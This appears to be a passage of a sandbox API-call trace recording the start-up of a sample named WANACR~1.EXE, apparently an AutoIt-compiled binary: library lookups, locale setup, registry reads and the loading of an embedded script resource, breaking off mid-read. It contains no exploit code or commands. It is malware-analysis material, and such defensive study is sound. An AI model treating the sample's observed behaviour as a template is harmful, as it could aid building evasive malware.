[0031.346] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateSemaphoreExW") returned 0x7ffe2a6f8b10 [0031.347] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="SetThreadStackGuarantee") returned 0x7ffe2a644020 [0031.347] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateThreadpoolTimer") returned 0x7ffe2a64415c [0031.347] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="SetThreadpoolTimer") returned 0x7ffe2cb4ac78 [0031.347] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7ffe2cb93808 [0031.347] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseThreadpoolTimer") returned 0x7ffe2cb4ba8c [0031.347] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateThreadpoolWait") returned 0x7ffe2a64a4e8 [0031.347] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="SetThreadpoolWait") returned 0x7ffe2cb97284 [0031.347] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseThreadpoolWait") returned 0x7ffe2cb926cc [0031.347] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="FlushProcessWriteBuffers") returned 0x7ffe2cbb7300 [0031.347] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x7ffe2cb96e94 [0031.347] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="GetCurrentProcessorNumber") returned 0x7ffe2cbb6190 [0031.347] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="GetLogicalProcessorInformation") returned 0x7ffe2a644780 [0031.347] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateSymbolicLinkW") returned 0x7ffe2a71d040 [0031.347] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="SetDefaultDllDirectories") returned 0x7ffe2a148320 [0031.347] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="EnumSystemLocalesEx") returned 0x7ffe2a71d1c0 [0031.347] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CompareStringEx") returned 0x7ffe2a6443cc [0031.347] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="GetDateFormatEx") returned 0x7ffe2a71d2b8 [0031.348] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="GetLocaleInfoEx") returned 0x7ffe2a644060 [0031.348] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="GetTimeFormatEx") returned 0x7ffe2a6f8fc0 [0031.348] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="GetUserDefaultLocaleName") returned 0x7ffe2a644050 [0031.348] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="IsValidLocaleName") returned 0x7ffe2a6441d0 [0031.348] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="LCMapStringEx") returned 0x7ffe2a643fe0 [0031.348] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="GetCurrentPackageId") returned 0x7ffe2a07c850 [0031.348] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="GetTickCount64") returned 0x7ffe2a641678 [0031.348] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0031.348] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0031.348] GetCurrentThreadId () returned 0xb14 [0031.349] GetStartupInfoW (in: lpStartupInfo=0xc80cb4fb40 | out: lpStartupInfo=0xc80cb4fb40*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x7ff756b50000, hStdOutput=0x7ff756b81560, hStdError=0xc80cc05510)) [0031.349] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0031.349] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0031.349] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0031.349] GetCommandLineW () returned="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE" [0031.349] GetEnvironmentStringsW () returned 0xc80cc064a0* [0031.349] FreeEnvironmentStringsW (penv=0xc80cc064a0) returned 1 [0031.349] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x7ff756c30a60, nSize=0x104 | out: lpFilename="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE" (normalized: "c:\\users\\5jghko~1\\desktop\\wanacr~1.exe")) returned 0x26 [0031.350] GetLastError () returned 0x0 [0031.350] SetLastError (dwErrCode=0x0) [0031.350] GetLastError () returned 0x0 [0031.350] SetLastError (dwErrCode=0x0) [0031.350] GetLastError () returned 0x0 [0031.350] SetLastError (dwErrCode=0x0) [0031.350] GetACP () returned 0x4e4 [0031.350] GetLastError () returned 0x0 [0031.350] SetLastError (dwErrCode=0x0) [0031.350] IsValidCodePage (CodePage=0x4e4) returned 1 [0031.350] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0xc80cb4fab0 | out: lpCPInfo=0xc80cb4fab0) returned 1 [0031.350] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0xc80cb4f550 | out: lpCPInfo=0xc80cb4f550) returned 1 [0031.350] GetLastError () returned 0x0 [0031.350] SetLastError (dwErrCode=0x0) [0031.350] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xc80cb4f570, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0031.350] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xc80cb4f570, cbMultiByte=256, lpWideCharStr=0xc80cb4f250, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿᏈ⸛欇") returned 256 [0031.350] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿᏈ⸛欇", cchSrc=256, lpCharType=0xc80cb4f870 | out: lpCharType=0xc80cb4f870) returned 1 [0031.350] GetLastError () returned 0x0 [0031.350] SetLastError (dwErrCode=0x0) [0031.350] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xc80cb4f570, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0031.350] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xc80cb4f570, cbMultiByte=256, lpWideCharStr=0xc80cb4f240, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ") returned 256 [0031.350] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0031.350] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0xc80cb4f030, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쳌") returned 256 [0031.350] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쳌", cchWideChar=256, lpMultiByteStr=0xc80cb4f670, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ[\x01", lpUsedDefaultChar=0x0) returned 256 [0031.350] GetLastError () returned 0x0 [0031.350] SetLastError (dwErrCode=0x0) [0031.350] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xc80cb4f570, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0031.350] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xc80cb4f570, cbMultiByte=256, lpWideCharStr=0xc80cb4f240, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ") returned 256 [0031.350] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0031.350] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0xc80cb4f030, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ쳌") returned 256 [0031.350] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ쳌", cchWideChar=256, lpMultiByteStr=0xc80cb4f770, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9fH\x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02h\x02(\x02(\x02(\x02(\x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x81\x03\x81\x03\x81\x03\x81\x03\x81\x03\x81\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x82\x03\x82\x03\x82\x03\x82\x03\x82\x03\x82\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x10\x02\x10\x02\x10\x02\x10\x02 \x02", lpUsedDefaultChar=0x0) returned 256 [0031.350] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff756b8a98c) returned 0x0 [0031.351] GetVersionExW (in: lpVersionInformation=0xc80cb4f9d0*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x2140214, dwMinorVersion=0x3120210, dwBuildNumber=0x2100210, dwPlatformId=0x2140210, szCSDVersion="̒ȐȐȐȐȐ́́́́́́́́́́́́́́́́́́́́́́́Ȑ́́́́騧Ⲹ翾") | out: lpVersionInformation=0xc80cb4f9d0*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x3, dwBuildNumber=0x2580, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0031.351] GetCurrentProcess () returned 0xffffffffffffffff [0031.351] IsWow64Process (in: hProcess=0xffffffffffffffff, Wow64Process=0xc80cb4fb18 | out: Wow64Process=0xc80cb4fb18) returned 1 [0031.351] GetSystemInfo (in: lpSystemInfo=0xc80cb4f998 | out: lpSystemInfo=0xc80cb4f998*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffffffeffff, dwActiveProcessorMask=0x1, dwNumberOfProcessors=0x2, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0031.351] MapVirtualKeyW (uCode=0x5b, uMapType=0x0) returned 0x5b [0031.351] MapVirtualKeyW (uCode=0x10, uMapType=0x0) returned 0x2a [0031.351] MapVirtualKeyW (uCode=0xa0, uMapType=0x0) returned 0x2a [0031.352] MapVirtualKeyW (uCode=0xa1, uMapType=0x0) returned 0x36 [0031.352] MapVirtualKeyW (uCode=0x11, uMapType=0x0) returned 0x1d [0031.352] MapVirtualKeyW (uCode=0x12, uMapType=0x0) returned 0x38 [0031.352] RegisterClipboardFormatW (lpszFormat="WM_GETCONTROLNAME") returned 0xc14a [0031.352] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0031.352] OleInitialize (pvReserved=0x0) returned 0x0 [0031.493] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Control Panel\\Mouse", ulOptions=0x0, samDesired=0x1, phkResult=0xc80cb4fab0 | out: phkResult=0xc80cb4fab0*=0x14c) returned 0x0 [0031.493] RegQueryValueExW (in: hKey=0x14c, lpValueName="SwapMouseButtons", lpReserved=0x0, lpType=0x0, lpData=0xc80cb4fb10, lpcbData=0xc80cb4fae0*=0x8 | out: lpType=0x0, lpData=0xc80cb4fb10*=0x30, lpcbData=0xc80cb4fae0*=0x4) returned 0x0 [0031.493] RegCloseKey (hKey=0x14c) returned 0x0 [0031.495] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xc80cb2fa80, nSize=0x7fff | out: lpFilename="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE" (normalized: "c:\\users\\5jghko~1\\desktop\\wanacr~1.exe")) returned 0x26 [0031.496] GetFullPathNameW (in: lpFileName="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", nBufferLength=0x7fff, lpBuffer=0xc80cb1fa30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", lpFilePart=0x0) returned 0x26 [0031.496] GetFullPathNameW (in: lpFileName="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", nBufferLength=0x7fff, lpBuffer=0xc80cb2fa80, lpFilePart=0xc80cb3fa90 | out: lpBuffer="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", lpFilePart=0xc80cb3fa90*="WANACR~1.EXE") returned 0x26 [0031.496] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\AutoIt v3\\AutoIt", ulOptions=0x0, samDesired=0x1, phkResult=0xc80cb4fb40 | out: phkResult=0xc80cb4fb40*=0x0) returned 0x2 [0031.497] IsThemeActive () returned 0x1 [0031.497] SystemParametersInfoW (in: uiAction=0x2000, uiParam=0x0, pvParam=0xc80cb4fb70, fWinIni=0x0 | out: pvParam=0xc80cb4fb70) returned 1 [0031.497] SystemParametersInfoW (in: uiAction=0x2001, uiParam=0x0, pvParam=0x0, fWinIni=0x2 | out: pvParam=0x0) returned 0 [0031.497] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0xc80cb2fb40 | out: lpBuffer="C:\\Users\\5JgHKoaOfdp\\Desktop") returned 0x1c [0031.497] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xc80cb1f9a0, nSize=0x7fff | out: lpFilename="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE" (normalized: "c:\\users\\5jghko~1\\desktop\\wanacr~1.exe")) returned 0x26 [0031.498] GetFullPathNameW (in: lpFileName="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", nBufferLength=0x7fff, lpBuffer=0xc80cb0f950, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", lpFilePart=0x0) returned 0x26 [0031.498] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0031.498] GetProcAddress (hModule=0x7ffe2a640000, lpProcName=0x7ff756c1b2d0) returned 0x7ffe2a71dbbc [0031.498] Wow64DisableWow64FsRedirection (in: OldValue=0xc80cb2f9b0 | out: OldValue=0xc80cb2f9b0*=0x0) returned 0 [0031.498] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0031.498] GetCurrentPackageId () returned 0x3d54 [0031.498] CreateFileW (lpFileName="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE" (normalized: "c:\\users\\5jghko~1\\desktop\\wanacr~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0xc80cb2f780, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c [0031.499] GetFileType (hFile=0x14c) returned 0x1 [0031.499] LoadLibraryExW (lpLibFileName="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", hFile=0x0, dwFlags=0x2) returned 0x7ff756b50000 [0031.499] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0031.499] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="Wow64RevertWow64FsRedirection") returned 0x7ffe2a71dbcc [0031.499] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 0 [0031.499] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0031.499] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0xc80cb2fa78 | out: ppstm=0xc80cb2fa78*=0xc80cc06970) returned 0x0 [0031.505] FindResourceExW (hModule=0x7ff756b50000, lpType=0xa, lpName="SCRIPT", wLanguage=0x0) returned 0x7ff756c3d3d8 [0031.505] LoadResource (hModule=0x7ff756b50000, hResInfo=0x7ff756c3d3d8) returned 0x7ff756c4e394 [0031.505] SizeofResource (hModule=0x7ff756b50000, hResInfo=0x7ff756c3d3d8) returned 0x9604 [0031.505] LockResource (hResData=0x7ff756c4e394) returned 0x7ff756c4e394 [0031.505] ISequentialStream:RemoteWrite (in: This=0xc80cc06970, pv=0x7ff756c4e394*=0xa3, cb=0x9604, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0031.505] IStream:RemoteSeek (in: This=0xc80cc06970, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0031.506] IStream:RemoteSeek (in: This=0xc80cc06970, dlibMove=0x0, dwOrigin=0x1, plibNewPosition=0xc80cb2f948 | out: plibNewPosition=0xc80cb2f948) returned 0x0 [0031.506] ISequentialStream:RemoteRead (in: This=0xc80cc06970, pv=0xc80cc10a30, cb=0x18, pcbRead=0xc80cb2f890 | out: pv=0xc80cc10a30*=0xa3, pcbRead=0xc80cb2f890*=0x18) returned 0x0 [0031.506] IStream:RemoteSeek (in: This=0xc80cc06970, dlibMove=0x14, dwOrigin=0x0, plibNewPosition=0xc80cb2f890 | out: plibNewPosition=0xc80cb2f890) returned 0x0 [0031.506] ISequentialStream:RemoteRead (in: This=0xc80cc06970, 